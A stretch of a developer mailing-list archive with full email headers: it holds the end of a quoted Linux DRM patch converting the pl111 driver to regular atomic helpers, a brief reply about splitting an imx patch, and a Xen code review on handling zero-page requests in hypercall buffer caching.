> -	struct drm_crtc *crtc = &pipe->crtc;
>   	struct drm_device *drm = crtc->dev;
>   	struct pl111_drm_dev_private *priv = drm->dev_private;
>   
>   	writel(0, priv->regs + priv->ienb);
>   }
>   
> -static struct drm_simple_display_pipe_funcs pl111_display_funcs = {
> -	.mode_valid = pl111_mode_valid,
> -	.check = pl111_display_check,
> -	.enable = pl111_display_enable,
> -	.disable = pl111_display_disable,
> -	.update = pl111_display_update,
> +static int pl111_crtc_helper_atomic_check(struct drm_crtc *crtc, struct drm_atomic_commit *state)
> +{
> +	struct drm_crtc_state *crtc_state = drm_atomic_get_new_crtc_state(state, crtc);
> +	int ret;
> +
> +	if (!crtc_state->enable)
> +		goto out;
> +
> +	ret = drm_atomic_helper_check_crtc_primary_plane(crtc_state);
> +	if (ret)
> +		return ret;
> +
> +out:
> +	return drm_atomic_add_affected_planes(state, crtc);
> +}
> +
> +static struct drm_crtc_funcs pl111_crtc_funcs = {
> +	.reset			= drm_atomic_helper_crtc_reset,
> +	.destroy		= drm_crtc_cleanup,
> +	.set_config		= drm_atomic_helper_set_config,
> +	.page_flip		= drm_atomic_helper_page_flip,
> +	.atomic_duplicate_state	= drm_atomic_helper_crtc_duplicate_state,
> +	.atomic_destroy_state	= drm_atomic_helper_crtc_destroy_state,
> +};
> +
> +static const struct drm_crtc_helper_funcs pl111_crtc_helper_funcs = {
> +	.mode_valid	= pl111_crtc_helper_mode_valid,
> +	.atomic_check	= pl111_crtc_helper_atomic_check,
> +	.atomic_enable	= pl111_crtc_helper_atomic_enable,
> +	.atomic_disable	= pl111_crtc_helper_atomic_disable,
> +};
> +
> +static const struct drm_plane_funcs pl111_plane_funcs = {
> +	.update_plane		= drm_atomic_helper_update_plane,
> +	.disable_plane		= drm_atomic_helper_disable_plane,
> +	.reset			= drm_atomic_helper_plane_reset,
> +	.destroy		= drm_plane_cleanup,
> +	.atomic_duplicate_state	= drm_atomic_helper_plane_duplicate_state,
> +	.atomic_destroy_state	= drm_atomic_helper_plane_destroy_state,
> +};
> +
> +static const struct drm_plane_helper_funcs pl111_plane_helper_funcs = {
> +	.prepare_fb	= drm_gem_plane_helper_prepare_fb,
> +	.atomic_check	= pl111_plane_helper_atomic_check,
> +	.atomic_update	= pl111_plane_helper_atomic_update,
> +};
> +
> +static const struct drm_encoder_funcs pl111_encoder_funcs = {
> +	.destroy = drm_encoder_cleanup,
>   };
>   
>   static int pl111_clk_div_choose_div(struct clk_hw *hw, unsigned long rate,
> @@ -583,18 +651,40 @@ int pl111_display_init(struct drm_device *drm)
>   		return ret;
>   
>   	if (!priv->variant->broken_vblank) {
> -		pl111_display_funcs.enable_vblank = pl111_display_enable_vblank;
> -		pl111_display_funcs.disable_vblank = pl111_display_disable_vblank;
> +		pl111_crtc_funcs.enable_vblank = pl111_display_enable_vblank;
> +		pl111_crtc_funcs.disable_vblank = pl111_display_disable_vblank;
>   	}
>   
> -	ret = drm_simple_display_pipe_init(drm, &priv->pipe,
> -					   &pl111_display_funcs,
> -					   priv->variant->formats,
> -					   priv->variant->nformats,
> -					   NULL,
> -					   priv->connector);
> +	ret = drm_universal_plane_init(drm, &priv->plane, 0,
> +				       &pl111_plane_funcs,
> +				       priv->variant->formats,
> +				       priv->variant->nformats,
> +				       NULL, DRM_PLANE_TYPE_PRIMARY, NULL);
>   	if (ret)
>   		return ret;
>   
> +	drm_plane_helper_add(&priv->plane, &pl111_plane_helper_funcs);
> +
> +	ret = drm_crtc_init_with_planes(drm, &priv->crtc, &priv->plane,
> +					NULL, &pl111_crtc_funcs, NULL);
> +	if (ret)
> +		return ret;
> +
> +	drm_crtc_helper_add(&priv->crtc, &pl111_crtc_helper_funcs);
> +
> +	ret = drm_encoder_init(drm, &priv->encoder, &pl111_encoder_funcs,
> +			       DRM_MODE_ENCODER_NONE, NULL);
> +	if (ret)
> +		return ret;
> +
> +	priv->encoder.possible_crtcs = drm_crtc_mask(&priv->crtc);
> +
> +	if (priv->connector) {
> +		ret = drm_connector_attach_encoder(priv->connector,
> +						   &priv->encoder);
> +		if (ret)
> +			return ret;
> +	}
> +
>   	return 0;
>   }
> diff --git a/drivers/gpu/drm/pl111/pl111_drm.h b/drivers/gpu/drm/pl111/pl111_drm.h
> index d1fe756444ee..ec92a5a180a8 100644
> --- a/drivers/gpu/drm/pl111/pl111_drm.h
> +++ b/drivers/gpu/drm/pl111/pl111_drm.h
> @@ -21,7 +21,6 @@
>   #include <drm/drm_encoder.h>
>   #include <drm/drm_gem.h>
>   #include <drm/drm_panel.h>
> -#include <drm/drm_simple_kms_helper.h>
>   
>   /*
>    * CLCD Controller Internal Register addresses
> @@ -135,7 +134,9 @@ struct pl111_drm_dev_private {
>   	struct drm_connector *connector;
>   	struct drm_panel *panel;
>   	struct drm_bridge *bridge;
> -	struct drm_simple_display_pipe pipe;
> +	struct drm_plane plane;
> +	struct drm_crtc crtc;
> +	struct drm_encoder encoder;
>   
>   	void *regs;
>   	u32 memory_bw;
> diff --git a/drivers/gpu/drm/pl111/pl111_drv.c b/drivers/gpu/drm/pl111/pl111_drv.c
> index ac7b1d12a0f5..f649c266c33a 100644
> --- a/drivers/gpu/drm/pl111/pl111_drv.c
> +++ b/drivers/gpu/drm/pl111/pl111_drv.c
> @@ -168,8 +168,7 @@ static int pl111_modeset_init(struct drm_device *dev)
>   		goto out_bridge;
>   	}
>   
> -	ret = drm_simple_display_pipe_attach_bridge(&priv->pipe,
> -						    bridge);
> +	ret = drm_bridge_attach(&priv->encoder, bridge, NULL, 0);
>   	if (ret)
>   		return ret;
>   
>

-- 
--
Thomas Zimmermann
Graphics Driver Developer
SUSE Software Solutions Germany GmbH
Frankenstr. 146, 90461 NÃ¼rnberg, Germany, www.suse.com
GF: Jochen Jaser, Andrew McDonald, (HRB 36809, AG NÃ¼rnberg)




From xen-devel-bounces@lists.xenproject.org Wed Jul 08 13:08:05 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 08 Jul 2026 13:08:05 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1356997.1611499 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whS0P-0003Z9-M1; Wed, 08 Jul 2026 13:08:01 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1356997.1611499; Wed, 08 Jul 2026 13:08:01 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whS0P-0003Z2-IT; Wed, 08 Jul 2026 13:08:01 +0000
Received: by outflank-mailman (input) for mailman id 1356997;
 Wed, 08 Jul 2026 13:08:00 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <ze.huang@oss.qualcomm.com>) id 1whS0O-0003Yw-8Z
 for xen-devel@lists.xenproject.org; Wed, 08 Jul 2026 13:08:00 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1whS0N-00A2AC-Hj
 for xen-devel@lists.xenproject.org; Wed, 08 Jul 2026 15:07:59 +0200
Received: from [10.42.69.3] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <ze.huang@oss.qualcomm.com>)
 id 6a4e4baa-2eae-0a2a0a5409dd-0a2a4503c8ce-18
 for <xen-devel@lists.xenproject.org>; Wed, 08 Jul 2026 15:07:59 +0200
Received: from [205.220.168.131] (helo=mx0a-0031df01.pphosted.com)
 by tlsNG-33051d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <ze.huang@oss.qualcomm.com>)
 id 6a4e4bad-ec1a-0a2a45030019-cddca8831d24-3
 for <xen-devel@lists.xenproject.org>; Wed, 08 Jul 2026 15:07:58 +0200
Received: from pps.filterd (m0279866.ppops.net [127.0.0.1])
 by mx0a-0031df01.pphosted.com (8.18.1.11/8.18.1.11) with ESMTP id
 668C39cA2605301
 for <xen-devel@lists.xenproject.org>; Wed, 8 Jul 2026 13:07:56 GMT
Received: from mail-vs1-f71.google.com (mail-vs1-f71.google.com
 [209.85.217.71])
 by mx0a-0031df01.pphosted.com (PPS) with ESMTPS id 4f9be5ar46-1
 (version=TLSv1.3 cipher=TLS_AES_128_GCM_SHA256 bits=128 verify=NOT)
 for <xen-devel@lists.xenproject.org>; Wed, 08 Jul 2026 13:07:56 +0000 (GMT)
Received: by mail-vs1-f71.google.com with SMTP id
 ada2fe7eead31-738e5b5ef68so201778137.1
 for <xen-devel@lists.xenproject.org>; Wed, 08 Jul 2026 06:07:56 -0700 (PDT)
Received: from localhost ([155.117.96.35]) by smtp.gmail.com with ESMTPSA id
 ada2fe7eead31-744d6a3ee7csm1525979137.2.2026.07.08.06.07.47
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Wed, 08 Jul 2026 06:07:54 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=qcppdkim1 header.d=qualcomm.com header.i="@qualcomm.com" header.h="Cc:Content-Transfer-Encoding:Content-Type:Date:From:In-Reply-To:Message-Id:Mime-Version:References:Subject:To"; dkim=pass header.s=google header.d=oss.qualcomm.com header.i="@oss.qualcomm.com" header.h="In-Reply-To:References:To:From:Subject:Cc:Message-Id:Date:Content-Transfer-Encoding:Mime-Version"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=qualcomm.com; h=
	cc:content-transfer-encoding:content-type:date:from:in-reply-to
	:message-id:mime-version:references:subject:to; s=qcppdkim1; bh=
	WOOq+NNu+tyhPReYKnu6wDK3tTFUATf17W5IdwFPg9M=; b=bhLue+T1HZS6Z1yl
	0SK7piGEP/m4bSiAAlhhNU1mTl4FX62J6rU1q96kA8aMseiY9ZWto/Dd+0Miw/MA
	mR4PyKQbN0+ZHEnUBucu6zOkAfsXEujfYWmhI1l4vmbj7e2jH7cR7VwXg/Z3crhN
	8NMEObbUbI6ULX1L6+S8JWxbOZ31JSqX/EATTSay9ArAKJaG68hvW+2EcXMK96to
	NoyER+PjRKSJ3ycZpb7+FNwNa/8pI5bYh5dQkZYYYmwi0kkWyLAdJpvqie26YbNn
	Nx4kVOvaFr1YQ5T3Dorvfj4wI18xfQdrLiWC94ltSqRHDt3vqchC2u6ywJgry83Q
	kdthGA==
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=oss.qualcomm.com; s=google; t=1783516075; x=1784120875; darn=lists.xenproject.org;
        h=in-reply-to:references:to:from:subject:cc:message-id:date
         :content-transfer-encoding:mime-version:from:to:cc:subject:date
         :message-id:reply-to;
        bh=WOOq+NNu+tyhPReYKnu6wDK3tTFUATf17W5IdwFPg9M=;
        b=DQwjMry1HPFIZNbNe9wIqLV+j9GoNkbbxEkKvpLR1Wwi4l9hZO1SPcnwg/VQLn0Dvg
         xeeB4UJE51X4V5ojUNefPa2TSvtBW5W0TbxBDfACOApjqQDTjl0jDVUToWTOVhSjlPzN
         FYYoNBSxeOyIVQqPeVyAQFDwYfDSmPrQ24S2JR2ZzB1NO51Hr/2BLAJp6F+UySA3Oa6q
         zNN8BBDyl5095NAnEbAo8sicD15C0Ly0Sr6E3MCWRRoGGL3SvNBZ9MQZ9U3QoMddIDjU
         PR+CQ6UfJLbEzQWNtO33q7ik/gqy1Y6BGCx5v7piXo81MjzcHLPJiOOlbFcGlAaRZLaw
         Ww2g==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1783516075; x=1784120875;
        h=in-reply-to:references:to:from:subject:cc:message-id:date
         :content-transfer-encoding:mime-version:x-gm-gg:x-gm-message-state
         :from:to:cc:subject:date:message-id:reply-to;
        bh=WOOq+NNu+tyhPReYKnu6wDK3tTFUATf17W5IdwFPg9M=;
        b=EGV0ouaeVIWb4tyV/mC/1Vs2qDqSppUe44qfGnCXMf7OkRrdAOS0dYZExmK8gkArKR
         N9BRTm7KxEVlqvOUsJJ3SRkr+bVCF7ZMI3rTnoU23Cz4q2Z4qKj/1Nlk385P78sQX8Yb
         k2mK+er8zGSI4l2J7s14wK+z3+WKgtB4DFDScEOB/P697oGdXQVCrP8QRWG+5UBSZifq
         +lwU3f5n9NI06bbFbZcTieS3G5CshY+4sIBlj2vRjKRV/al1k6gsf8nuUXgi3yQZSWLS
         HoYqT9B6nyh8zMRNRfXAXjFfvA+SWn5vNMB2EkoIf1HiiRslKwbAFvEizo03GUX4OqD1
         KKBg==
X-Forwarded-Encrypted: i=1; AHgh+RrBywg0TO2XUkbuiBCl5ZcKe9rdEBFDZ8ohSdYJjZRYLPkKGDs3H9rbB3fOvOyjo86Wbp0lXcSNJCY=@lists.xenproject.org
X-Gm-Message-State: AOJu0YwXGim9yOvCK+FnVaFPCIyiXUCznBsLQ88Qej4f4bcg4m/sdJRd
	r3VK7hPHnYFX6xoVRqASToJeGclYVJVOiCcxKDFm8KLQ5zxn0sft2mkDevBubsSjmSnuOhT4rR5
	eRM8rUlNWtEzFUlpJLrJlCgJi+sl7Ds7Rh7UYDVziWzKox1AnLEgBoRiYztlz24WeMzh9ig==
X-Gm-Gg: AfdE7clzJPVvSyp/O5OItS3jO6YPqbu06zb4PtFpQN2HTMXuwBnNA1x3MVt4LQItGAw
	JUUivNAazN3DYH6g66iwImD1wWNstVt9J/8NIsKgzYAoRBGVpi7/r3Qvbi0zAHhrF/umd4lIcAL
	m9PvO+nOdWhug5GM7meoaJgivkhkGy9lUZZNbIsspyeLGSM6zifP8gUeSeELhjNhwmr95nXLYKl
	jSXa/hakfkulERdq+zgvo+hnraK0uw0Y08DqMepZT+SwilwVnBP+o0eER2cGDE1MeBDAVvttjTr
	pVgnvq7CJJzrUdmClPzD0OLGuzXJ7w5XmJaT+JE16qVI+Pxc7Rx1LAn9iAEFfMwzEwHV9zOphp9
	1UKWqs0ysfFXPjw==
X-Received: by 2002:a05:6102:41a3:b0:73e:9fae:5841 with SMTP id ada2fe7eead31-744dff81cbdmr1130785137.29.1783516075442;
        Wed, 08 Jul 2026 06:07:55 -0700 (PDT)
X-Received: by 2002:a05:6102:41a3:b0:73e:9fae:5841 with SMTP id ada2fe7eead31-744dff81cbdmr1130755137.29.1783516075014;
        Wed, 08 Jul 2026 06:07:55 -0700 (PDT)
Mime-Version: 1.0
Content-Transfer-Encoding: quoted-printable
Content-Type: text/plain; charset=UTF-8
Date: Wed, 08 Jul 2026 21:07:33 +0800
Message-Id: <DJT7OBVIB2J3.N6UA6SLKJXZB@oss.qualcomm.com>
Cc: <dri-devel@lists.freedesktop.org>, <linux-kernel@vger.kernel.org>,
        <linux-aspeed@lists.ozlabs.org>,
        <linux-arm-kernel@lists.infradead.org>, <imx@lists.linux.dev>,
        <xen-devel@lists.xenproject.org>
Subject: Re: [PATCH 3/9] drm/imx: replace struct drm_simple_display_pipe
 with regular atomic helpers
From: "Ze Huang" <ze.huang@oss.qualcomm.com>
To: "Thomas Zimmermann" <tzimmermann@suse.de>,
        "Ze Huang"
 <ze.huang@oss.qualcomm.com>,
        "Alexey Brodkin" <abrodkin@synopsys.com>,
        "Maarten Lankhorst" <maarten.lankhorst@linux.intel.com>,
        "Maxime Ripard"
 <mripard@kernel.org>,
        "David Airlie" <airlied@gmail.com>, "Simona Vetter"
 <simona@ffwll.ch>,
        "Joel Stanley" <joel@jms.id.au>,
        "Andrew Jeffery"
 <andrew@codeconstruct.com.au>,
        "Frank Li" <Frank.Li@nxp.com>,
        "Sascha
 Hauer" <s.hauer@pengutronix.de>,
        "Pengutronix Kernel Team"
 <kernel@pengutronix.de>,
        "Fabio Estevam" <festevam@gmail.com>,
        "Linus
 Walleij" <linusw@kernel.org>,
        "Hans de Goede" <hansg@kernel.org>,
        "Alex
 Lanzano" <lanzano.alex@gmail.com>,
        "Oleksandr Andrushchenko"
 <oleksandr_andrushchenko@epam.com>
X-Mailer: aerc 0.21.0-0-g5549850facc2
References: <20260705-drm-simple-kms-removal-v1-0-b4e1ca053623@oss.qualcomm.com> <20260705-drm-simple-kms-removal-v1-3-b4e1ca053623@oss.qualcomm.com> <1c84099b-6f0d-4655-9aea-015a821b50db@suse.de>
In-Reply-To: <1c84099b-6f0d-4655-9aea-015a821b50db@suse.de>
X-Authority-Analysis: v=2.4 cv=GJc41ONK c=1 sm=1 tr=0 ts=6a4e4bac cx=c_pps
 a=P2rfLEam3zuxRRdjJWA2cw==:117 a=Ilsi1XWDFcrB9FjxRIUvHg==:17
 a=IkcTkHD0fZMA:10 a=RAioF0-LDSMA:10 a=s4-Qcg_JpJYA:10
 a=VkNPw1HP01LnGYTKEx00:22 a=u7WPNUs3qKkmUXheDGA7:22 a=YMgV9FUhrdKAYTUUvYB2:22
 a=lv_lVlItrp0lmarviNkA:9 a=QEXdDO2ut3YA:10 a=ODZdjJIeia2B_SHc_B0f:22
X-Proofpoint-Spam-Info: AW1haW4tMjYwNzA4MDEyNyBTYWx0ZWRfX0xGqHSPLsT9u
 YE7ZwznnYhnC3XnZXoAa+gfYdXx5hhdvKRPt881PbirPhRW9ddH2FW1su3bqb/QoKcLvaQKjiJ6
 QzDWCdWj11pfXt/NGxvwEcQl/1f0Fiw=
X-Proofpoint-Spam-Details-Enc: AW1haW4tMjYwNzA4MDEyNyBTYWx0ZWRfXzr2+FlMl6a9H
 rZ2YBcA/hMC5KcWKHJb/5tc1MGyfNB16l24kIx+NnqKYP/v1T/xNwRN3N1bWLG4eQq0d/ePttS1
 T1l8y6v3L2jqVQF4UO+3CB17beDPPvEvrbiWjTjFojNAEefAfE12WN5wgYLjLhvtgP6pMkqTNHE
 qTf2ShWjOcCG1lGSOaFcFV8B8pdeAw3FmGBWfYX51n393LbmR/s+xu7Un8VEoHI8zY7XybZClRE
 GkA0KKb37L3xhlxsscntWl1TG/HO+1KURTEVuSC8SJ7IDJ60SAN0m61elJmvfKZyz/ev3YIArFa
 mxVWXQnj96XTUXGWhHAGuAZ4NtEe6sJyeGHdaKNVixw5Gedfry4tLYZ+J5AKY+NIxWTNPb0kKFm
 aAXWJXmlZkuvkvZb2DLh0osUh4lJAhEjO5KtfAt5zfG6P2AdRxzM5NIV4RpG49grJBaaZT6ZlLd
 7NFBR3iHk0d8IWiXYFQ==
X-Proofpoint-ORIG-GUID: 0wEkXYlLHEbR_ohys0anzlX5odyNJrTK
X-Proofpoint-GUID: 0wEkXYlLHEbR_ohys0anzlX5odyNJrTK
X-Proofpoint-Virus-Version: vendor=baseguard
 engine=ICAP:2.0.293,Aquarius:18.0.1143,Hydra:6.1.134,FMLib:17.12.100.49
 definitions=2026-07-08_02,2026-07-08_01,2025-10-01_01
X-Proofpoint-Spam-Details: rule=outbound_notspam policy=outbound score=0
 phishscore=0 clxscore=1015 priorityscore=1501 malwarescore=0 impostorscore=0
 adultscore=0 bulkscore=0 spamscore=0 lowpriorityscore=0 suspectscore=0
 classifier=typeunknown authscore=0 authtc= authcc= route=outbound adjust=0
 reason=mlx scancount=1 engine=8.22.0-2606150000 definitions=main-2607080127
X-purgate-ID: tlsNG-33051d/1783516079-BC9825D1-CC6B1BB4/0/0
X-purgate-type: clean
X-purgate-size: 330

On Wed Jul 8, 2026 at 8:44 PM CST, Thomas Zimmermann wrote:
> Hi,
>
> the imx driver is well maintained IIRC. I'd advise you to split off this=
=20
> patch from the series and send it out separately. That is more likely to=
=20
> catch the attention of the driver's maintainers.
>
> Best regards
> Thomas

OK, thanks


From xen-devel-bounces@lists.xenproject.org Wed Jul 08 13:19:17 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 08 Jul 2026 13:19:17 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1357005.1611507 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whSBC-0005Hv-Kf; Wed, 08 Jul 2026 13:19:10 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1357005.1611507; Wed, 08 Jul 2026 13:19:10 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whSBC-0005Ho-H2; Wed, 08 Jul 2026 13:19:10 +0000
Received: by outflank-mailman (input) for mailman id 1357005;
 Wed, 08 Jul 2026 13:19:10 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f41e1bde500080a8@swg.vates.tech>)
 id 1whSBB-0005Hf-C7
 for xen-devel@lists.xenproject.org; Wed, 08 Jul 2026 13:19:09 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1whSB9-00A3mN-Qc
 for xen-devel@lists.xenproject.org; Wed, 08 Jul 2026 15:19:07 +0200
Received: from [10.42.69.4] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f41e1bde500080a8@swg.vates.tech>)
 id 6a4e4e38-2eae-0a2a0a5409dd-0a2a45049f7e-20
 for <xen-devel@lists.xenproject.org>; Wed, 08 Jul 2026 15:19:07 +0200
Received: from [185.255.28.35] (helo=prod-mta-13-02.swg-srv.net)
 by tlsNG-ebf023.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f41e1bde500080a8@swg.vates.tech>)
 id 6a4e4e4a-a01d-0a2a45040019-b9ff1c238333-3
 for <xen-devel@lists.xenproject.org>; Wed, 08 Jul 2026 15:19:06 +0200
Received: from mail2.vates.fr ([37.26.189.201] mail2.vates.fr)
 (Authenticated sender:
 8631fc262581453bbf619ec5b2062170/smtp/7773de5a-2839-4720-82ee-e06722ae1d3e)
 by prod-mta-13-02.swg-srv.net (ZoneMTA - prod-mta-13) with ESMTPSA id
 19f41e1bde500080a8.006 for <xen-devel@lists.xenproject.org>
 (version=TLSv1.3 cipher=TLS_AES_256_GCM_SHA384);
 Wed, 08 Jul 2026 13:19:01 +0000
Received: from l14 (lfbn-lyo-1-414-55.w2-7.abo.wanadoo.fr [2.7.24.55])
 (Authenticated sender: anthony.perard)
 by mail2.vates.fr (Postfix) with ESMTPSA id 464D181F10;
 Wed,  8 Jul 2026 15:19:00 +0200 (CEST)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=vates.tech header.i="@vates.tech" header.h="From:Subject:Date:Message-ID:To:Cc:MIME-Version:Content-Type:In-Reply-To:References:Feedback-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=vates.tech;
 q=dns/txt; s=selector1; bh=MLISvK+adpYUUgBFLpBxliisGNttr4y4ZorJVjzejJo=;
 h=from:subject:date:message-id:to:cc:mime-version:content-type:in-reply-to:references:feedback-id;
 b=ckth2ac9abjBqZS3wl3esG+2wYmonczciDvhdKQjlXYFmPi5IG5Oe/l27IVlbqesvFKVJOsiJ
 DFXCfREAxT+R9OXg6JG02rm56mf5l4+BTFpKq8iF/jkKGrJzl3z8QaI4c25uSBs40DX42L30rYv
 wpBxd8oz40C8kDNcLluS4cZXbFzCx0TtGLDwGkzVxI1pCd5DJcCHDrngS3c7wX4h1fxnysgfvn1
 0h5XlfnJG8OBZKIQx12jJctYwCZmx+hDKADD5DRDNUKaqLCu22WXptHzB9HLX0hIt2pn53mZeBj
 eFOFBBF9g49wmdDSnXEhZ9xVesn61nEGb6ZHofj4KqfA==
X-Zone-Loop: ab08eac72b7d7f195ec93389e7d48f0fddccc7583b57
x-campaign-type: default
x-transaction-id: 89880a45-2d02-4078-abc3-a7f541ba3656
x-swg-uid: 01-49d4ffd3-86a2-46d8-a383-8ee40a1c1e64
X-Mailer: Sweego
Message-ID:
 <1783516741.8631fc262581453bbf619ec5b2062170.19f41e1bde500080a8@vates.tech>
x-swg-bid: 1783516741.8631fc262581453bbf619ec5b2062170.19f41e1bde500080a8
Feedback-ID: default:8631fc262581453bbf619ec5b2062170:Sweego
x-campaign-id: default
x-client-id: 8631fc262581453bbf619ec5b2062170
X-Originating-IP: [37.26.189.201]
Date: Wed, 8 Jul 2026 15:19:00 +0200
From: Anthony PERARD <anthony.perard@vates.tech>
To: Frediano Ziglio <freddy77@gmail.com>
Cc: xen-devel@lists.xenproject.org,
	Edwin =?iso-8859-1?B?VPZy9ms=?= <edwin.torok@citrix.com>,
	Jan Beulich <jbeulich@suse.com>,
	Andrew Cooper <andrew.cooper3@citrix.com>,
	Roger Pau =?iso-8859-1?Q?Monn=E9?= <roger.pau@citrix.com>,
	Teddy Astie <teddy.astie@vates.tech>,
	Juergen Gross <jgross@suse.com>,
	Frediano Ziglio <frediano.ziglio@citrix.com>
Subject: Re: [PATCH v6 06/16] libs/call: cache up to 4 pages in hypercall
 bounce buffers
References: <20260619130501.272832-1-frediano.ziglio@citrix.com>
 <20260619130501.272832-7-frediano.ziglio@citrix.com>
 <1783432302.8631fc262581453bbf619ec5b2062170.19f3cd94e2d00080a8@vates.tech>
 <CAHt6W4cUTUOw=nsQVYnDBuLMZob0mBaWyjxVrggFWB6tY6LKqQ@mail.gmail.com>
MIME-Version: 1.0
Content-Disposition: inline
In-Reply-To: <CAHt6W4cUTUOw=nsQVYnDBuLMZob0mBaWyjxVrggFWB6tY6LKqQ@mail.gmail.com>
X-BM-Disclaimer: Yes
Content-Type: multipart/alternative; boundary="-=Part.424.e7715ce4dc5fbd2f.19f41e1bb66.59bb630f3221587c=-"
X-Bm-Milter-Handled: 4ffbd6c1-ee69-4e1b-aabd-f977039bd3e2
X-Bm-Transport-Timestamp: 1783516740454
X-purgate-ID: tlsNG-ebf023/1783516746-ACB3B1CC-759642A4/0/0
X-purgate-type: clean
X-purgate-size: 2642

---=Part.424.e7715ce4dc5fbd2f.19f41e1bb66.59bb630f3221587c=-
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: quoted-printable

On Tue, Jul 07, 2026 at 03:47:07PM +0100, Frediano Ziglio wrote:
> On Tue, 7 Jul 2026 at 14:51, Anthony PERARD <anthony=2Eperard@vates=2Ete=
ch> wrote:
> > On Fri, Jun 19, 2026 at 02:04:51PM +0100, Frediano Ziglio wrote:
> > > diff --git a/tools/libs/call/buffer=2Ec b/tools/libs/call/buffer=2Ec
> > > index 155e4f9d43=2E=2E2f0515c273 100644
> > > --- a/tools/libs/call/buffer=2Ec
> > > +++ b/tools/libs/call/buffer=2Ec
> > > @@ -49,6 +49,9 @@ static void *cache_alloc(xencall_handle *xcall, si=
ze_t nr_pages)
> > >  {
> > >      void *p =3D NULL;
> > >
> > > +    if ( nr_pages =3D=3D 0 )
> > > +        return NULL;
> >
> > By doing that check here, we don't update the stat anymore=2E And it's
> > getting out-of-sync with the updates done in cache_free()=2E
> >
> > Before, we where returning a cache entry for that, and cache_hit++=2E =
I
> > think it's ok to return cache_miss++ instead=2E
> >
>=20
> Well=2E=2E=2E requesting 0 pages is weird by definition, even malloc(0) =
is
> not well defined=2E

malloc(0) isn't defined as weird, it is defined as
"implementation-defined" ;-)=2E But the pointer that the cache function
handle isn't from malloc()=2E

> In theory in this case returning NULL would cause cache_free to not be
> called as filtered by xencall_free_buffer_pages=2E

Yes, for cases where the allocator returned NULL=2E But I can't find any
guaranty of this=2E So I would prefer to have both cache_alloc() and
cache_free() behave the same way when faced with nr_pages=3D=3D0, without
hindsight into the value of the pointer=2E

>=20
> I think the most symmetric think would be adding a similar test in
> cache_free, like
>=20
> static int cache_free(xencall_handle *xcall, void *p, size_t nr_pages)
> {
>     int rc =3D 0;
>=20
>     if ( nr_pages =3D=3D 0 )
>         return 1;
>=20
>     cache_lock(xcall);
>=20
>=20
> (the return 1 is needed to prevent the attempt to munmap the pointer
> which does not make sense)=2E

If we have a pointer that is not NULL, we must free it=2E Even if you
think it doesn't make sense=2E Also, there's no way to know, here, whether
munmap() or an other function is going to be used=2E So, cache_free() must
not say that it cached the pointer, and let the caller free it=2E

Cheers,


-- 
Anthony Perard | Vates XCP-ng Developer

XCP-ng & Xen Orchestra - Vate=
s solutions

web: https://vates=2Etech
